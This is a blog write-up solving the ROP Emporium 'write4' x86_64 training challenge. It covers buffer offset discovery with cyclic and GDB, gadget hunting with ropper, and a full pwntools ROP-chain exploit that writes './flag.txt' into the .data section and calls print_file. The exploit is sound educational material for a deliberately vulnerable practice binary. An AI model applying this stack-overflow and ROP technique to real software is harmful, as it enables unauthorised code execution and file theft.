atx0mg's Fortress.

write4 rop

Word count: 1.8kReading time: 11 min
2022/03/11

challenge link

Goal

  • Manipulate writeable address and with rop we can read any file.

Read More →

Key points:

  • Where to write? (e.g., The address should be writable and will not change during runtime to be a filename)
  • What to write? (e.g., What filename do we desire? How to concatenate the strings?)
  • How to make a ROP chain? (e.g., What gadget to find? In this challenge, rdi only consumes pointer, so how to pass the pointer to rdi?)

My first thought:

  • Make a symlink that points to the nonexistent -> flag.txt, so we can get the flag easily (it will work just by calling the usefulFunction). But it turns out that it will only work locally, and if we want to solve the pwn challenge remotely, we stand no chance of changing the server’s environment.

Description

Challenge Hint

Read/Write
Hopefully, you’ve realised that ROP is just a form of arbitrary code execution and if we get creative, we can leverage it to do things like write to or read from memory. The question we need to answer is: what mechanism are we going to use to solve this problem? Is there any built-in functionality to do the writing or do we need to use gadgets? In this challenge, we won’t be using built-in functionality since that’s too similar to the previous challenges, instead we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.

What/Where
Perhaps the most important thing to consider in this challenge is where we’re going to write our “flag.txt” string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this program.

Decisions, decisions
Once you’ve figured out how to write your string into memory and where to write it, go ahead and call print_file() with its location as its only argument. You could consider wrapping your write gadgets in helper a function; if you can write a 4 or 8 byte value to a location in memory, you could craft a function (e.g. in Python using pwntools) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location. Crafting templates like this will make your life much easier in the long run. As ever, with the MIPS challenge, don’t forget about the branch delay slot.

Let’s download the binary!

unzip
1
2
3
4
5
6
7
8
9
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ unzip -l write4.zip
Archive: write4.zip
Length Date Time Name
--------- ---------- ----- ----
8384 2020-07-08 07:19 write4
8392 2020-07-08 07:19 libwrite4.so
33 2020-07-03 02:28 flag.txt
--------- -------
16809 3 files

We got three files from the write4.zip.

ldd
1
2
3
4
5
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ldd write4
linux-vdso.so.1 (0x00007ffd40583000)
libwrite4.so => ./libwrite4.so (0x00007faba2c09000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faba2a01000)
/lib64/ld-linux-x86-64.so.2 (0x00007faba2e0d000)

write4 is the primary binary.
libwrite4.so is the library write4.(we can find it out with ldd)
flag.txt is our target filename.

Static Analysis (with IDA Pro)

First take a look at main function:

1
2
3
4
5
6
7
8
9
10
.text:0000000000400607                         ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400607 public main
.text:0000000000400607 main proc near
.text:0000000000400607 55 push rbp
.text:0000000000400608 48 89 E5 mov rbp, rsp
.text:000000000040060B E8 F0 FE FF FF call _pwnme
.text:0000000000400610 B8 00 00 00 00 mov eax, 0
.text:0000000000400615 5D pop rbp
.text:0000000000400616 C3 retn
.text:0000000000400616 main endp
external function
1
2
3
4
.plt:0000000000400500                         ; __int64 __fastcall pwnme(__int64, __int64, __int64)
.plt:0000000000400500 _pwnme proc near
.plt:0000000000400500 FF 25 12 0B 20 00 jmp cs:off_601018
.plt:0000000000400500 _pwnme endp

We can see the main function is calling _pwnme, which is an external function in libwrite4.so.

usefulFunction
1
2
3
4
5
6
7
8
9
.text:0000000000400617 usefulFunction  proc near
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 usefulFunction endp

The binary provides a usefulFunction which moves "nonexistent" to edi and calls _print_file. We know from calling convention that edi will be the first argument for _print_file that we can exploit. If we can change "nonexistent" to "./flag.txt", we will have a chance to capture the flag!

usefulGadgets
1
2
3
4
5
.text:0000000000400628 usefulGadgets:
.text:0000000000400628 mov [r14], r15
.text:000000000040062B retn
.text:000000000040062B ; ---------------------------------------------------------------------------
.text:000000000040062C align 10h

Although it doesn’t show in the list of functions in IDA Pro, we can find it under the usefulFuntion in assembly mode. We will use this gadget to pass the pointer of the file name.

Dynamic Analysis (with GDB)

Purpose: To find the padding before the return address.
There are two ways to find the buffer size:

1. Use GDB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 1. Create payload
echo $(cyclic 100) > payload
// 2. See from gdb to know where the binary chokes at
gdb ./write4
r < payload
// Tracing buffer size in gdb
0x007fffffffe0a8│+0x0000: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]" ← $rsp
0x007fffffffe0b0│+0x0008: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007fffffffe0b8│+0x0010: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0c0│+0x0018: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0c8│+0x0020: "saaataaauaaavaaawaaaxaaayaaa\n"
0x007fffffffe0d0│+0x0028: "uaaavaaawaaaxaaayaaa\n"
0x007fffffffe0d8│+0x0030: "waaaxaaayaaa\n"
0x007fffffffe0e0│+0x0038: 0x00000a61616179 ("yaaa\n"?)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7dc893b <pwnme+145> call 0x7ffff7dc8730 <puts@plt>
0x7ffff7dc8940 <pwnme+150> nop
0x7ffff7dc8941 <pwnme+151> leave
0x7ffff7dc8942 <pwnme+152> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write4", stopped 0x7ffff7dc8942 in pwnme (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7dc8942 → pwnme()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/8b $rsp
0x7fffffffe0a8: 0x6b 0x61 0x61 0x61 0x6c 0x61 0x61 0x61
// We can see directly from the $rsp and get `kaaa` for the first 4 bytes:
$rsp : 0x007fffffffe0a8 → "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
// 3. Find the offset
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ cyclic -l kaaa
40

Use cyclic to count the offset from rsp (don’t need any arithmetic) and we can get the padding is 40.

2. Read pwnme() assembly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public pwnme
pwnme proc near

s= byte ptr -20h

push rbp
mov rbp, rsp
sub rsp, 20h
mov rax, cs:stdout_ptr
mov rax, [rax]
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
lea rdi, s ; "write4 by ROP Emporium"
call _puts
lea rdi, aX8664 ; "x86_64\n"
call _puts
lea rax, [rbp+s]
mov edx, 20h ; ' ' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
lea rdi, aGoAheadAndGive ; "Go ahead and give me the input already!"...
call _puts
lea rdi, format ; "> "
mov eax, 0
call _printf
lea rax, [rbp+s]
mov edx, 200h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rdi, aThankYou ; "Thank you!"
call _puts
nop
leave
retn
pwnme endp

Look through the code from IDA Pro (which is more straightforward.)

  • From line 32, we know that it puts rax (which is the buffer size) to rsi. And rax comes from line 30, which is [rbp+s] and s equals 0x20 (from line 4). Thus we know the buffer size is 0x20 bytes.
  • Before the return address, there lies a rbp, so we have to plus another 8 bytes to 0x20. Thus, we got 40 bytes.

In both ways, we can conclude that to reach the return address we have to insert 40 bytes padding.

Once we control the rip, we can make this binary execute anything we want!

Exploit

Exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.update(log_level='info')
padding = cyclic_find("kaaa")
data_address = 0x601028
writeable_addr_2 = 0x601030
pop_r14_r15 = 0x400690
r14_deref_r15 = 0x400628
pop_rdi = 0x400693
usefulFunction_adr = 0x400620

p = process("./write4")

# 1 - Fill the padding
padding = "A" * padding
payload = padding.encode()

# 2 - Insert first part of file name
payload += p64(pop_r14_r15)
payload += p64(data_address)
payload += b"./flag.t"
payload += p64(r14_deref_r15)

# 3 - Insert Second part of file name
# Store "./flag.t" to rdi
# Because the "./flag.txt" is too long, and the gadget we get can only move qword at a time (8 byte), so we have to move the string twice
payload += p64(pop_r14_r15)
payload += p64(writeable_addr_2)
payload += b"xt\x00\x00\x00\x00\x00\x00"
# Store the "xt\x00\x00\x00\x00\x00\x00" string to [r14+0x8]
payload += p64(r14_deref_r15)

# 4 - Store "./flag.txt" adderss to rdi
payload += p64(pop_rdi)
payload += p64(data_address)

# 5 - Evoke usefulFunction
payload += p64(usefulFunction_adr)

p.sendline(payload)
p.interactive()

I’ll provide some illustrations of finding the address from line 4 to line 9 in the exploit code.

1. 0x601028
1
2
3
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ readelf --section-headers -W ./write4 | grep data
[15] .rodata PROGBITS 00000000004006b0 0006b0 000010 00 A 0 0 4
[23] .data PROGBITS 0000000000601028 001028 000010 00 WA 0 0 8
  • The reason that we choose .data not .rodata is because it’s WA(writeable and accessible). Thus that’s how we get 0x601028.
  1. 0x601030 is calculated by 0x601028 + 0x8, since the ./flag.txt (10 bytes) is too long, and the gadget we get can only move qword (8 bytes) at a time, so we have to move the leftover after next 8 bytes.
3. Use the usefulGadgets which is mentioned above to get 0x400628 and 0x400690
1
2
3
4
5
6
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ropper -f ./write4 | grep r14
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400628: mov qword ptr [r14], r15; ret;
0x0000000000400690: pop r14; pop r15; ret;
  • We use pop r14; pop r15; ret; to store the pointer and the filename respectively. Besides, mov qword ptr [r14], r15; ret; it first dereferences r14 and stores the value from r15 to it.
4. 0x400693
1
2
3
4
5
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ ropper -f ./write4 | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400693: pop rdi; ret;
  • It’s the gadget to store the pointer to the filename
    5. 0x400620
1
2
3
4
5
6
7
8
9
.text:0000000000400617 usefulFunction  proc near
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 usefulFunction endp
  • Although usefulFunction starts at 0x400617, it changes the rdi at 0x40061B, which destroys our plan. Thus we decide to jump from 0x400620 and make it only call _print_file without changing rdi.

Get the flag

1
2
3
4
5
6
7
8
9
10
11
jeff14994@jeff14994-VirtualBox:~/Desktop/asu-hacking/03_03$ python exploit.py
[+] Starting local process './write4': pid 31741
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

Happy ropping!

Author:atx0mg

Link:https://jeff14994.github.io/2022/03/11/write4-rop/

Publish date:March 11th 2022, 1:38:21 am

Update date:April 22nd 2022, 5:12:55 am

License:This article is licensed under CC BY-NC 4.0

CATALOG
  1. 1. Goal
  2. 2. Description
  3. 3. Let’s download the binary!
  4. 4. Static Analysis (with IDA Pro)
  5. 5. Dynamic Analysis (with GDB)
  6. 6. Exploit
  7. 7. Get the flag